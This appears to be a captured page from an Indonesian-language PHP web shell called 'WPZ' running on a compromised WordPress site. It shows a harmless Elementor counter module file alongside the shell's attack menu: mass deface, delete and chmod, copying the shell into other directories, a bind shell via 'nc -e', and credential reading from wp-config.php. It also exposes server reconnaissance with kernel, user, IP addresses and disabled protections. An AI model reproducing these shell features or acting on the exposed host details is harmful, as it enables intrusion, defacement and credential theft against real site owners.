WPZ

berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/modules/elementor-counter/module.php (1.84 KB)
<?php

namespace Elementor\Modules\ElementorCounter;

use Elementor\Core\Isolation\Elementor_Counter_Adapter_Interface;
use Elementor\Core\Isolation\Wordpress_Adapter;
use Elementor\Core\Isolation\Wordpress_Adapter_Interface;
use Elementor\Core\Base\Module as BaseModule;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Module extends BaseModule implements Elementor_Counter_Adapter_Interface {
	const EDITOR_COUNTER_KEY = 'e_editor_counter';

	private ?Wordpress_Adapter_Interface $wordpress_adapter = null;
	private static $should_count_editor = true;

	public function get_name() {
		return 'elementor-counter';
	}

	public function __construct( ?Wordpress_Adapter_Interface $wordpress_adapter = null ) {
		parent::__construct();
		$this->wordpress_adapter = $wordpress_adapter ?? new Wordpress_Adapter();

		if ( self::$should_count_editor ) {
			add_action( 'elementor/editor/init', function () {
				$this->increment( self::EDITOR_COUNTER_KEY );
			}, 10 );

			self::$should_count_editor = false;
		}
	}

	/**
	 * @param self::EDITOR_COUNTER_KEY $key
	 *
	 * @return int | null
	 */
	public function get_count( $key ): ?int {
		return $this->is_key_allowed( $key )
			? (int) $this->wordpress_adapter->get_option( $key, 0 )
			: null;
	}

	/**
	 * @param self::EDITOR_COUNTER_KEY $key
	 * @param int                      $count
	 */
	public function set_count( $key, $count = 0 ): void {
		if ( ! $this->is_key_allowed( $key ) || ! is_int( $count ) ) {
			return;
		}

		$this->wordpress_adapter->update_option( $key, $count );
	}

	/**
	 * @param self::EDITOR_COUNTER_KEY $key
	 */
	public function increment( $key ): void {
		if ( ! $this->is_key_allowed( $key ) ) {
			return;
		}

		$count = $this->get_count( $key );

		$this->set_count( $key, $count + 1 );
	}

	public function is_key_allowed( $key ): bool {
		return in_array( $key, [ self::EDITOR_COUNTER_KEY ] );
	}
}
namawaktuukuranownerpermaksi
..
module.php 2026-11-25 08:101.84 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor/modules/elementor-counter
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK